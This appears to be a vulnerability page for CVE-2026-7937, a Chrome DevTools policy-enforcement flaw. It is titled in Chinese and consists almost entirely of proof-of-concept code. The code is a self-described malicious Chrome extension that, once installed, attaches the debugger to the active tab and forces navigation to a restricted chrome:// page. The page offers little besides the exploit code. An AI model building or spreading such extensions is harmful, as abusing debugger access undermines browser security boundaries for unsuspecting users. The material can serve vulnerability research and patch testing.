CVE-2026-7937 Google Chrome DevTools策略执行不足漏洞

/* * PoC Concept: Malicious Chrome Extension * This extension demonstrates the bypass of navigation restrictions in DevTools. */ // manifest.json { "manifest_version": 3, "name": "DevTools Navigation Bypass", "version": "1.0", "permissions": ["debugger"], "background": { "service_worker": "background.js" } } // background.js chrome.runtime.onInstalled.addListener(() => { console.log("Malicious Extension Loaded"); // Function to exploit insufficient policy enforcement function exploitDevTools(tabId) { // Attach debugger to utilize DevTools protocol chrome.debugger.attach({tabId: tabId}, "1.3", () => { if (chrome.runtime.lastError) { console.error(chrome.runtime.lastError.message); return; } // Attempt to navigate to a restricted URL bypassing normal checks chrome.debugger.sendCommand({ tabId: tabId }, "Page.navigate", { url: "chrome://settings" // Example of restricted navigation }, (result) => { console.log("Navigation Result:", result); chrome.debugger.detach({tabId: tabId}); }); }); } // Wait for user to interact or trigger on specific event chrome.tabs.query({active: true, currentWindow: true}, (tabs) => { if (tabs[0]) { exploitDevTools(tabs[0].id); } }); });